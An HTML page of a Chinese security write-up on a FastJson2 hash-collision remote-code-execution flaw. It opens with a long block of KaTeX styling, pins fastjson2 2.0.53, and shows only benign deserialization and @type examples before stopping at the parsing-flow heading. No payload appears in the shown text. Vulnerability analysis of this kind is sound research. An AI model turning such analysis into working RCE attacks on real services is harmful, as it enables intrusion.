format("truetype")}@font-face{font-family:KaTeX_Main;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Main-Regular.woff2) format("woff2"),url(fonts/KaTeX_Main-Regular.woff) format("woff"),url(fonts/KaTeX_Main-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Math;font-style:italic;font-weight:700;src:url(fonts/KaTeX_Math-BoldItalic.woff2) format("woff2"),url(fonts/KaTeX_Math-BoldItalic.woff) format("woff"),url(fonts/KaTeX_Math-BoldItalic.ttf) format("truetype")}@font-face{font-family:KaTeX_Math;font-style:italic;font-weight:400;src:url(fonts/KaTeX_Math-Italic.woff2) format("woff2"),url(fonts/KaTeX_Math-Italic.woff) format("woff"),url(fonts/KaTeX_Math-Italic.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:normal;font-weight:700;src:url(fonts/KaTeX_SansSerif-Bold.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Bold.woff) format("woff"),url(fonts/KaTeX_SansSerif-Bold.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:italic;font-weight:400;src:url(fonts/KaTeX_SansSerif-Italic.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Italic.woff) format("woff"),url(fonts/KaTeX_SansSerif-Italic.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:normal;font-weight:400;src:url(fonts/KaTeX_SansSerif-Regular.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Regular.woff) format("woff"),url(fonts/KaTeX_SansSerif-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Script;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Script-Regular.woff2) format("woff2"),url(fonts/KaTeX_Script-Regular.woff) format("woff"),url(fonts/KaTeX_Script-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size1;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size1-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size1-Regular.woff) format("woff"),url(fonts/KaTeX_Size1-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size2;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size2-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size2-Regular.woff) format("woff"),url(fonts/KaTeX_Size2-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size3;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size3-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size3-Regular.woff) format("woff"),url(fonts/KaTeX_Size3-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size4;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size4-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size4-Regular.woff) format("woff"),url(fonts/KaTeX_Size4-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Typewriter;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Typewriter-Regular.woff2) format("woff2"),url(fonts/KaTeX_Typewriter-Regular.woff) format("woff"),url(fonts/KaTeX_Typewriter-Regular.ttf) format("truetype")}.katex{text-rendering:auto;font:normal 1.21em KaTeX_Main,Times New Roman,serif;line-height:1.2;text-indent:0}.katex *{-ms-high-contrast-adjust:none!important;border-color:currentColor}.katex .katex-version:after{content:"0.16.9"}.katex .katex-mathml{clip:rect(1px,1px,1px,1px);border:0;height:1px;overflow:hidden;padding:0;position:absolute;width:1px}.katex .katex-html>.newline{display:block}.katex .base{position:relative;white-space:nowrap;width:-webkit-min-content;width:-moz-min-content;width:min-content}.katex .base,.katex .strut{display:inline-block}.katex .textbf{font-weight:700}.katex .textit{font-style:italic}.katex .textrm{font-family:KaTeX_Main}.katex .textsf{font-family:KaTeX_SansSerif}.katex .texttt{font-family:KaTeX_Typewriter}.katex .mathnormal{font-family:KaTeX_Math;font-style:italic}.katex .mathit{font-family:KaTeX_Main;font-style:italic}.katex .mathrm{font-style:normal}.katex .mathbf{font-family:KaTeX_Main;font-weight:700}.katex .boldsymbol{font-family:KaTeX_Math;font-style:italic;font-weight:700}.katex .amsrm,.katex .mathbb,.katex .textbb{font-family:KaTeX_AMS}.katex .mathcal{font-family:KaTeX_Caligraphic}.katex .mathfrak,.katex .textfrak{font-family:KaTeX_Fraktur}.katex .mathboldfrak,.katex .textboldfrak{font-family:KaTeX_Fraktur;font-weight:700}.katex .mathtt{font-family:KaTeX_Typewriter}.katex .mathscr,.katex .textscr{font-family:KaTeX_Script}.katex .mathsf,.katex .textsf{font-family:KaTeX_SansSerif}.katex .mathboldsf,.katex .textboldsf{font-family:KaTeX_SansSerif;font-weight:700}.katex .mathitsf,.katex .textitsf{font-family:KaTeX_SansSerif;font-style:italic}.katex .mainrm{font-family:KaTeX_Main;font-style:normal}.katex .vlist-t{border-collapse:collapse;display:inline-table;table-layout:fixed}.katex .vlist-r{display:table-row}.katex .vlist{display:table-cell;position:relative;vertical-align:bottom}.katex .vlist>span{display:block;height:0;position:relative}.katex .vlist>span>span{display:inline-block}.katex .vlist>span>.pstrut{overflow:hidden;width:0}.katex .vlist-t2{margin-right:-2px}.katex .vlist-s{display:table-cell;font-size:1px;min-width:2px;vertical-align:bottom;width:2px}.katex .vbox{align-items:baseline;display:inline-flex;flex-direction:column}.katex .hbox{width:100%}.katex .hbox,.katex .thinbox{display:inline-flex;flex-direction:row}.katex .thinbox{max-width:0;width:0}.katex .msupsub{text-align:left}.katex .mfrac>span>span{text-align:center}.katex .mfrac .frac-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline,.katex .hline,.katex .mfrac .frac-line,.katex .overline .overline-line,.katex .rule,.katex .underline .underline-line{min-height:1px}.katex .mspace{display:inline-block}.katex .clap,.katex .llap,.katex .rlap{position:relative;width:0}.katex .clap>.inner,.katex .llap>.inner,.katex .rlap>.inner{position:absolute}.katex .clap>.fix,.katex .llap>.fix,.katex .rlap>.fix{display:inline-block}.katex .llap>.inner{right:0}.katex .clap>.inner,.katex .rlap>.inner{left:0}.katex .clap>.inner>span{margin-left:-50%;margin-right:50%}.katex .rule{border:0 solid;display:inline-block;position:relative}.katex .hline,.katex .overline .overline-line,.katex .underline .underline-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline{border-bottom-style:dashed;display:inline-block;width:100%}.katex .sqrt>.root{margin-left:.27777778em;margin-right:-.55555556em}.katex .fontsize-ensurer.reset-size1.size1,.katex .sizing.reset-size1.size1{font-size:1em}.katex .fontsize-ensurer.reset-size1.size2,.katex .sizing.reset-size1.size2{font-size:1.2em}.katex .fontsize-ensurer.reset-size1.size3,.katex .sizing.reset-size1.size3{font-size:1.4em}.katex .fontsize-ensurer.reset-size1.size4,.katex .sizing.reset-size1.size4{font-size:1.6em}.katex .fontsize-ensurer.reset-size1.size5,.katex .sizing.reset-size1.size5{font-size:1.8em}.katex .fontsize-ensurer.reset-size1.size6,.katex .sizing.reset-size1.size6{font-size:2em}.katex .fontsize-ensurer.reset-size1.size7,.katex .sizing.reset-size1.size7{font-size:2.4em}.katex .fontsize-ensurer.reset-size1.size8,.katex .sizing.reset-size1.size8{font-size:2.88em}.katex .fontsize-ensurer.reset-size1.size9,.katex .sizing.reset-size1.size9{font-size:3.456em}.katex .fontsize-ensurer.reset-size1.size10,.katex .sizing.reset-size1.size10{font-size:4.148em}.katex .fontsize-ensurer.reset-size1.size11,.katex .sizing.reset-size1.size11{font-size:4.976em}.katex .fontsize-ensurer.reset-size2.size1,.katex .sizing.reset-size2.size1{font-size:.83333333em}.katex .fontsize-ensurer.reset-size2.size2,.katex .sizing.reset-size2.size2{font-size:1em}.katex .fontsize-ensurer.reset-size2.size3,.katex .sizing.reset-size2.size3{font-size:1.16666667em}.katex .fontsize-ensurer.reset-size2.size4,.katex .sizing.reset-size2.size4{font-size:1.33333333em}.katex .fontsize-ensurer.reset-size2.size5,.katex .sizing.reset-size2.size5{font-size:1.5em}.katex .fontsize-ensurer.reset-size2.size6,.katex .sizing.reset-size2.size6{font-size:1.66666667em}.katex .fontsize-ensurer.reset-size2.size7,.katex .sizing.reset-size2.size7{font-size:2em}.katex .fontsize-ensurer.reset-size2.size8,.katex .sizing.reset-size2.size8{font-size:2.4em}.katex .fontsize-ensurer.reset-size2.size9,.katex .sizing.reset-size2.size9{font-size:2.88em}.katex .fontsize-ensurer.reset-size2.size10,.katex .sizing.reset-size2.size10{font-size:3.45666667em}.katex .fontsize-ensurer.reset-size2.size11,.katex .sizing.reset-size2.size11{font-size:4.14666667em}.katex .fontsize-ensurer.reset-size3.size1,.katex .sizing.reset-size3.size1{font-size:.71428571em}.katex .fontsize-ensurer.reset-size3.size2,.katex .sizing.reset-size3.size2{font-size:.85714286em}.katex .fontsize-ensurer.reset-size3.size3,.katex .sizing.reset-size3.size3{font-size:1em}.katex .fontsize-ensurer.reset-size3.size4,.katex .sizing.reset-size3.size4{font-size:1.14285714em}.katex .fontsize-ensurer.reset-size3.size5,.katex .sizing.reset-size3.size5{font-size:1.28571429em}.katex .fontsize-ensurer.reset-size3.size6,.katex .sizing.reset-size3.size6{font-size:1.42857143em}.katex .fontsize-ensurer.reset-size3.size7,.katex .sizing.reset-size3.size7{font-size:1.71428571em}.katex .fontsize-ensurer.reset-size3.size8,.katex .sizing.reset-size3.size8{font-size:2.05714286em}.katex .fontsize-ensurer.reset-size3.size9,.katex .sizing.reset-size3.size9{font-size:2.46857143em}.katex .fontsize-ensurer.reset-size3.size10,.katex .sizing.reset-size3.size10{font-size:2.96285714em}.katex .fontsize-ensurer.reset-size3.size11,.katex .sizing.reset-size3.size11{font-size:3.55428571em}.katex .fontsize-ensurer.reset-size4.size1,.katex .sizing.reset-size4.size1{font-size:.625em}.katex .fontsize-ensurer.reset-size4.size2,.katex .sizing.reset-size4.size2{font-size:.75em}.katex .fontsize-ensurer.reset-size4.size3,.katex .sizing.reset-size4.size3{font-size:.875em}.katex .fontsize-ensurer.reset-size4.size4,.katex .sizing.reset-size4.size4{font-size:1em}.katex .fontsize-ensurer.reset-size4.size5,.katex .sizing.reset-size4.size5{font-size:1.125em}.katex .fontsize-ensurer.reset-size4.size6,.katex .sizing.reset-size4.size6{font-size:1.25em}.katex .fontsize-ensurer.reset-size4.size7,.katex .sizing.reset-size4.size7{font-size:1.5em}.katex .fontsize-ensurer.reset-size4.size8,.katex .sizing.reset-size4.size8{font-size:1.8em}.katex .fontsize-ensurer.reset-size4.size9,.katex .sizing.reset-size4.size9{font-size:2.16em}.katex .fontsize-ensurer.reset-size4.size10,.katex .sizing.reset-size4.size10{font-size:2.5925em}.katex .fontsize-ensurer.reset-size4.size11,.katex .sizing.reset-size4.size11{font-size:3.11em}.katex .fontsize-ensurer.reset-size5.size1,.katex .sizing.reset-size5.size1{font-size:.55555556em}.katex .fontsize-ensurer.reset-size5.size2,.katex .sizing.reset-size5.size2{font-size:.66666667em}.katex .fontsize-ensurer.reset-size5.size3,.katex .sizing.reset-size5.size3{font-size:.77777778em}.katex .fontsize-ensurer.reset-size5.size4,.katex .sizing.reset-size5.size4{font-size:.88888889em}.katex .fontsize-ensurer.reset-size5.size5,.katex .sizing.reset-size5.size5{font-size:1em}.katex .fontsize-ensurer.reset-size5.size6,.katex .sizing.reset-size5.size6{font-size:1.11111111em}.katex .fontsize-ensurer.reset-size5.size7,.katex .sizing.reset-size5.size7{font-size:1.33333333em}.katex .fontsize-ensurer.reset-size5.size8,.katex .sizing.reset-size5.size8{font-size:1.6em}.katex .fontsize-ensurer.reset-size5.size9,.katex .sizing.reset-size5.size9{font-size:1.92em}.katex .fontsize-ensurer.reset-size5.size10,.katex .sizing.reset-size5.size10{font-size:2.30444444em}.katex .fontsize-ensurer.reset-size5.size11,.katex .sizing.reset-size5.size11{font-size:2.76444444em}.katex .fontsize-ensurer.reset-size6.size1,.katex .sizing.reset-size6.size1{font-size:.5em}.katex .fontsize-ensurer.reset-size6.size2,.katex .sizing.reset-size6.size2{font-size:.6em}.katex .fontsize-ensurer.reset-size6.size3,.katex .sizing.reset-size6.size3{font-size:.7em}.katex .fontsize-ensurer.reset-size6.size4,.katex .sizing.reset-size6.size4{font-size:.8em}.katex .fontsize-ensurer.reset-size6.size5,.katex .sizing.reset-size6.size5{font-size:.9em}.katex .fontsize-ensurer.reset-size6.size6,.katex .sizing.reset-size6.size6{font-size:1em}.katex .fontsize-ensurer.reset-size6.size7,.katex .sizing.reset-size6.size7{font-size:1.2em}.katex .fontsize-ensurer.reset-size6.size8,.katex .sizing.reset-size6.size8{font-size:1.44em}.katex .fontsize-ensurer.reset-size6.size9,.katex .sizing.reset-size6.size9{font-size:1.728em}.katex .fontsize-ensurer.reset-size6.size10,.katex .sizing.reset-size6.size10{font-size:2.074em}.katex .fontsize-ensurer.reset-size6.size11,.katex .sizing.reset-size6.size11{font-size:2.488em}.katex .fontsize-ensurer.reset-size7.size1,.katex .sizing.reset-size7.size1{font-size:.41666667em}.katex .fontsize-ensurer.reset-size7.size2,.katex .sizing.reset-size7.size2{font-size:.5em}.katex .fontsize-ensurer.reset-size7.size3,.katex .sizing.reset-size7.size3{font-size:.58333333em}.katex .fontsize-ensurer.reset-size7.size4,.katex .sizing.reset-size7.size4{font-size:.66666667em}.katex .fontsize-ensurer.reset-size7.size5,.katex .sizing.reset-size7.size5{font-size:.75em}.katex .fontsize-ensurer.reset-size7.size6,.katex .sizing.reset-size7.size6{font-size:.83333333em}.katex .fontsize-ensurer.reset-size7.size7,.katex .sizing.reset-size7.size7{font-size:1em}.katex .fontsize-ensurer.reset-size7.size8,.katex .sizing.reset-size7.size8{font-size:1.2em}.katex .fontsize-ensurer.reset-size7.size9,.katex .sizing.reset-size7.size9{font-size:1.44em}.katex .fontsize-ensurer.reset-size7.size10,.katex .sizing.reset-size7.size10{font-size:1.72833333em}.katex .fontsize-ensurer.reset-size7.size11,.katex .sizing.reset-size7.size11{font-size:2.07333333em}.katex .fontsize-ensurer.reset-size8.size1,.katex .sizing.reset-size8.size1{font-size:.34722222em}.katex .fontsize-ensurer.reset-size8.size2,.katex .sizing.reset-size8.size2{font-size:.41666667em}.katex .fontsize-ensurer.reset-size8.size3,.katex .sizing.reset-size8.size3{font-size:.48611111em}.katex .fontsize-ensurer.reset-size8.size4,.katex .sizing.reset-size8.size4{font-size:.55555556em}.katex .fontsize-ensurer.reset-size8.size5,.katex .sizing.reset-size8.size5{font-size:.625em}.katex .fontsize-ensurer.reset-size8.size6,.katex .sizing.reset-size8.size6{font-size:.69444444em}.katex .fontsize-ensurer.reset-size8.size7,.katex .sizing.reset-size8.size7{font-size:.83333333em}.katex .fontsize-ensurer.reset-size8.size8,.katex .sizing.reset-size8.size8{font-size:1em}.katex .fontsize-ensurer.reset-size8.size9,.katex .sizing.reset-size8.size9{font-size:1.2em}.katex .fontsize-ensurer.reset-size8.size10,.katex .sizing.reset-size8.size10{font-size:1.44027778em}.katex .fontsize-ensurer.reset-size8.size11,.katex .sizing.reset-size8.size11{font-size:1.72777778em}.katex .fontsize-ensurer.reset-size9.size1,.katex .sizing.reset-size9.size1{font-size:.28935185em}.katex .fontsize-ensurer.reset-size9.size2,.katex .sizing.reset-size9.size2{font-size:.34722222em}.katex .fontsize-ensurer.reset-size9.size3,.katex .sizing.reset-size9.size3{font-size:.40509259em}.katex .fontsize-ensurer.reset-size9.size4,.katex .sizing.reset-size9.size4{font-size:.46296296em}.katex .fontsize-ensurer.reset-size9.size5,.katex .sizing.reset-size9.size5{font-size:.52083333em}.katex .fontsize-ensurer.reset-size9.size6,.katex .sizing.reset-size9.size6{font-size:.5787037em}.katex .fontsize-ensurer.reset-size9.size7,.katex .sizing.reset-size9.size7{font-size:.69444444em}.katex .fontsize-ensurer.reset-size9.size8,.katex .sizing.reset-size9.size8{font-size:.83333333em}.katex .fontsize-ensurer.reset-size9.size9,.katex .sizing.reset-size9.size9{font-size:1em}.katex .fontsize-ensurer.reset-size9.size10,.katex .sizing.reset-size9.size10{font-size:1.20023148em}.katex .fontsize-ensurer.reset-size9.size11,.katex .sizing.reset-size9.size11{font-size:1.43981481em}.katex .fontsize-ensurer.reset-size10.size1,.katex .sizing.reset-size10.size1{font-size:.24108004em}.katex .fontsize-ensurer.reset-size10.size2,.katex .sizing.reset-size10.size2{font-size:.28929605em}.katex .fontsize-ensurer.reset-size10.size3,.katex .sizing.reset-size10.size3{font-size:.33751205em}.katex .fontsize-ensurer.reset-size10.size4,.katex .sizing.reset-size10.size4{font-size:.38572806em}.katex .fontsize-ensurer.reset-size10.size5,.katex .sizing.reset-size10.size5{font-size:.43394407em}.katex .fontsize-ensurer.reset-size10.size6,.katex .sizing.reset-size10.size6{font-size:.48216008em}.katex .fontsize-ensurer.reset-size10.size7,.katex .sizing.reset-size10.size7{font-size:.57859209em}.katex .fontsize-ensurer.reset-size10.size8,.katex .sizing.reset-size10.size8{font-size:.69431051em}.katex .fontsize-ensurer.reset-size10.size9,.katex .sizing.reset-size10.size9{font-size:.83317261em}.katex .fontsize-ensurer.reset-size10.size10,.katex .sizing.reset-size10.size10{font-size:1em}.katex .fontsize-ensurer.reset-size10.size11,.katex .sizing.reset-size10.size11{font-size:1.19961427em}.katex .fontsize-ensurer.reset-size11.size1,.katex .sizing.reset-size11.size1{font-size:.20096463em}.katex .fontsize-ensurer.reset-size11.size2,.katex .sizing.reset-size11.size2{font-size:.24115756em}.katex .fontsize-ensurer.reset-size11.size3,.katex .sizing.reset-size11.size3{font-size:.28135048em}.katex .fontsize-ensurer.reset-size11.size4,.katex .sizing.reset-size11.size4{font-size:.32154341em}.katex .fontsize-ensurer.reset-size11.size5,.katex .sizing.reset-size11.size5{font-size:.36173633em}.katex .fontsize-ensurer.reset-size11.size6,.katex .sizing.reset-size11.size6{font-size:.40192926em}.katex .fontsize-ensurer.reset-size11.size7,.katex .sizing.reset-size11.size7{font-size:.48231511em}.katex .fontsize-ensurer.reset-size11.size8,.katex .sizing.reset-size11.size8{font-size:.57877814em}.katex .fontsize-ensurer.reset-size11.size9,.katex .sizing.reset-size11.size9{font-size:.69453376em}.katex .fontsize-ensurer.reset-size11.size10,.katex .sizing.reset-size11.size10{font-size:.83360129em}.katex .fontsize-ensurer.reset-size11.size11,.katex .sizing.reset-size11.size11{font-size:1em}.katex .delimsizing.size1{font-family:KaTeX_Size1}.katex .delimsizing.size2{font-family:KaTeX_Size2}.katex .delimsizing.size3{font-family:KaTeX_Size3}.katex .delimsizing.size4{font-family:KaTeX_Size4}.katex .delimsizing.mult .delim-size1>span{font-family:KaTeX_Size1}.katex .delimsizing.mult .delim-size4>span{font-family:KaTeX_Size4}.katex .nulldelimiter{display:inline-block;width:.12em}.katex .delimcenter,.katex .op-symbol{position:relative}.katex .op-symbol.small-op{font-family:KaTeX_Size1}.katex .op-symbol.large-op{font-family:KaTeX_Size2}.katex .accent>.vlist-t,.katex .op-limits>.vlist-t{text-align:center}.katex .accent .accent-body{position:relative}.katex .accent .accent-body:not(.accent-full){width:0}.katex .overlay{display:block}.katex .mtable .vertical-separator{display:inline-block;min-width:1px}.katex .mtable .arraycolsep{display:inline-block}.katex .mtable .col-align-c>.vlist-t{text-align:center}.katex .mtable .col-align-l>.vlist-t{text-align:left}.katex .mtable .col-align-r>.vlist-t{text-align:right}.katex .svg-align{text-align:left}.katex svg{fill:currentColor;stroke:currentColor;fill-rule:nonzero;fill-opacity:1;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:block;height:inherit;position:absolute;width:100%}.katex svg path{stroke:none}.katex img{border-style:none;max-height:none;max-width:none;min-height:0;min-width:0}.katex .stretchy{display:block;overflow:hidden;position:relative;width:100%}.katex .stretchy:after,.katex .stretchy:before{content:""}.katex .hide-tail{overflow:hidden;position:relative;width:100%}.katex .halfarrow-left{left:0;overflow:hidden;position:absolute;width:50.2%}.katex .halfarrow-right{overflow:hidden;position:absolute;right:0;width:50.2%}.katex .brace-left{left:0;overflow:hidden;position:absolute;width:25.1%}.katex .brace-center{left:25%;overflow:hidden;position:absolute;width:50%}.katex .brace-right{overflow:hidden;position:absolute;right:0;width:25.1%}.katex .x-arrow-pad{padding:0 .5em}.katex .cd-arrow-pad{padding:0 .55556em 0 .27778em}.katex .mover,.katex .munder,.katex .x-arrow{text-align:center}.katex .boxpad{padding:0 .3em}.katex .fbox,.katex .fcolorbox{border:.04em solid;box-sizing:border-box}.katex .cancel-pad{padding:0 .2em}.katex .cancel-lap{margin-left:-.2em;margin-right:-.2em}.katex .sout{border-bottom-style:solid;border-bottom-width:.08em}.katex .angl{border-right:.049em solid;border-top:.049em solid;box-sizing:border-box;margin-right:.03889em}.katex .anglpad{padding:0 .03889em}.katex .eqn-num:before{content:"(" counter(katexEqnNo) ")";counter-increment:katexEqnNo}.katex .mml-eqn-num:before{content:"(" counter(mmlEqnNo) ")";counter-increment:mmlEqnNo}.katex .mtr-glue{width:50%}.katex .cd-vert-arrow{display:inline-block;position:relative}.katex .cd-label-left{display:inline-block;position:absolute;right:calc(50% + .3em);text-align:left}.katex .cd-label-right{display:inline-block;left:calc(50% + .3em);position:absolute;text-align:right}.katex-display{display:block;margin:1em 0;text-align:center}.katex-display>.katex{display:block;text-align:center;white-space:nowrap}.katex-display>.katex>.katex-html{display:block;position:relative}.katex-display>.katex>.katex-html>.tag{position:absolute;right:0}.katex-display.leqno>.katex>.katex-html>.tag{left:0;right:auto}.katex-display.fleqn>.katex{padding-left:2em;text-align:left}body{counter-reset:katexEqnNo mmlEqnNo}
</style>
<style>
body {
margin: 0;
font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, sans-serif;
background: #f6f8fa;
}
.toolbar {
position: sticky;
top: 0;
background: white;
border-bottom: 1px solid #ddd;
padding: 10px;
display: flex;
gap: 10px;
align-items: center;
z-index: 10;
}
button {
padding: 6px 12px;
border: 1px solid #ddd;
background: white;
cursor: pointer;
border-radius: 6px;
}
button:hover { background: #f3f3f3; }
#editor {
width: 100%;
height: 220px;
font-family: monospace;
padding: 10px;
box-sizing: border-box;
border: 1px solid #ddd;
}
.container {
max-width: 1100px;
margin: 0 auto;
background: white;
padding: 20px;
}
.graphviz {
text-align: center;
margin: 16px 0;
overflow: auto;
border: 1px solid #eee;
border-radius: 8px;
padding: 8px;
min-height: 40px;
}
.mermaid {
text-align: center;
margin: 16px 0;
}
svg {
max-width: 100%;
height: auto;
}
</style>
</head>
<body>
<div class="container">
<div id="preview" class="markdown-body"><h1>FastJson2 Hash 碰撞 RCE 分析与复现</h1>
<blockquote>
<p>来源:https://xz.aliyun.com/news/92608</p>
</blockquote>
<h1>前置说明</h1>
<p>参考: <a href="https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA">https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA</a>, 来跟进一下漏洞原理.</p>
<p>测试使用的依赖:</p>
<pre><code><span class="hljs-tag">&lt;<span class="hljs-name">dependencies</span>&gt;</span>
<span class="hljs-comment">&lt;!-- fastjson2 核心 --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>com.alibaba.fastjson2<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>fastjson2<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>2.0.53<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">dependencies</span>&gt;</span>
</code></pre><h1>默认场景</h1>
<p>总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype:</p>
<pre><code>// ────────────────────────────────────────────────────────────
// <span class="hljs-number">1.</span> 基础反序列化: 把 <span class="hljs-type">JSON</span> 字符串解析成 Java 对象
// ────────────────────────────────────────────────────────────
String <span class="hljs-type">json</span> = "{\"<span class="hljs-type">name</span>\":\"<span class="hljs-keyword">admin</span>\",\"age\":28,\"email\":\"<span class="hljs-keyword">admin</span>@lab.<span class="hljs-keyword">local</span>\"}";
<span class="hljs-keyword">User</span> <span class="hljs-keyword">user</span> = <span class="hljs-type">JSON</span>.parseObject(<span class="hljs-type">json</span>, <span class="hljs-keyword">User</span>.<span class="hljs-keyword">class</span>);
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println("[1] 基础反序列化:");
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输入: " + <span class="hljs-type">json</span>);
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输出: " + <span class="hljs-keyword">user</span>);
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println();
// ────────────────────────────────────────────────────────────
// <span class="hljs-number">2.</span> 基础序列化: 把 Java 对象转回 <span class="hljs-type">JSON</span> 字符串
// ────────────────────────────────────────────────────────────
String reJson = <span class="hljs-type">JSON</span>.toJSONString(<span class="hljs-keyword">user</span>);
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println("[2] 基础序列化:");
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输入: " + <span class="hljs-keyword">user</span>);
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输出: " + reJson);
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println();
<span class="hljs-comment">/*
[1] 基础反序列化:
输入: {"name":"admin","age":28,"email":"admin@lab.local"}
输出: User{name='admin', age=28, email='admin@lab.local'}
[2] 基础序列化:
输入: User{name='admin', age=28, email='admin@lab.local'}
输出: {"age":28,"email":"admin@lab.local","name":"admin"}
*/</span>
</code></pre><p>当然如果使用带 @type 的场景, 如下:</p>
<pre><code>String jsonWithType = <span class="hljs-string">"{\"</span>@<span class="hljs-keyword">type</span>\<span class="hljs-string">":\"</span>com.heihu577.model.User\<span class="hljs-string">",\"</span>name\<span class="hljs-string">":\"</span>alice\<span class="hljs-string">",\"</span>age\<span class="hljs-string">":25,\"</span>email\<span class="hljs-string">":\"</span>alice@lab.local\<span class="hljs-string">"}"</span>;
// 不指定目标类,解析成 JSONObject
Object obj = JSON.parse(jsonWithType);
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">"[3] 带 @type 的 JSON, 不开启 SupportAutoType:"</span>);
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 输入: "</span> + jsonWithType);
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 解析结果类型: "</span> + obj.getClass().getName());
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 解析结果: "</span> + obj);
<span class="hljs-keyword">if</span> (obj instanceof JSONObject) {
JSONObject jo = (JSONObject) obj;
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" @type 字段值: "</span> + jo.getString(<span class="hljs-string">"@type"</span>));
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" ↑ @type 被当作普通字段保留了,没有触发类加载"</span>);
}
System.<span class="hljs-keyword">out</span>.println();
/*
[<span class="hljs-number">3</span>] 带 @<span class="hljs-keyword">type</span> <span class="hljs-type"></span>JSON, 不开启 SupportAutoType:
输入: {<span class="hljs-string">"@type"</span>:<span class="hljs-string">"com.heihu577.model.User"</span>,<span class="hljs-string">"name"</span>:<span class="hljs-string">"alice"</span>,<span class="hljs-string">"age"</span>:<span class="hljs-number">25</span>,<span class="hljs-string">"email"</span>:<span class="hljs-string">"alice@lab.local"</span>}
解析结果类型: com.alibaba.fastjson2.JSONObject
解析结果: {<span class="hljs-string">"@type"</span>:<span class="hljs-string">"com.heihu577.model.User"</span>,<span class="hljs-string">"name"</span>:<span class="hljs-string">"alice"</span>,<span class="hljs-string">"age"</span>:<span class="hljs-number">25</span>,<span class="hljs-string">"email"</span>:<span class="hljs-string">"alice@lab.local"</span>}
@<span class="hljs-keyword">type</span> <span class="hljs-type">字段值: </span>com.heihu577.model.User
↑ @<span class="hljs-keyword">type</span> <span class="hljs-type">被当作普通字段保留了,没有触发类加载
</span>*/
</code></pre><p>默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean:</p>
<pre><code>User u2 = JSON.parseObject(jsonWithType, User.class);
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">"[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):"</span>);
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 输入: "</span> + jsonWithType);
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 输出: "</span> + u2);
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" ↑ 反序列化成功,但 @type 字段被忽略 (User 没有 @type 属性)"</span>);
System.<span class="hljs-keyword">out</span>.println();
/*
[<span class="hljs-number">4</span>] 带 @<span class="hljs-keyword">type</span> <span class="hljs-type"></span>JSON, 指定目标类 User.class (不开 SupportAutoType):
输入: {<span class="hljs-string">"@type"</span>:<span class="hljs-string">"com.heihu577.model.User"</span>,<span class="hljs-string">"name"</span>:<span class="hljs-string">"alice"</span>,<span class="hljs-string">"age"</span>:<span class="hljs-number">25</span>,<span class="hljs-string">"email"</span>:<span class="hljs-string">"alice@lab.local"</span>}
输出: User{name=<span class="hljs-symbol">'alice</span>', age=<span class="hljs-number">25</span>, email=<span class="hljs-symbol">'alice</span>@lab.local'}
*/
</code></pre><h2>解析流程</h2>
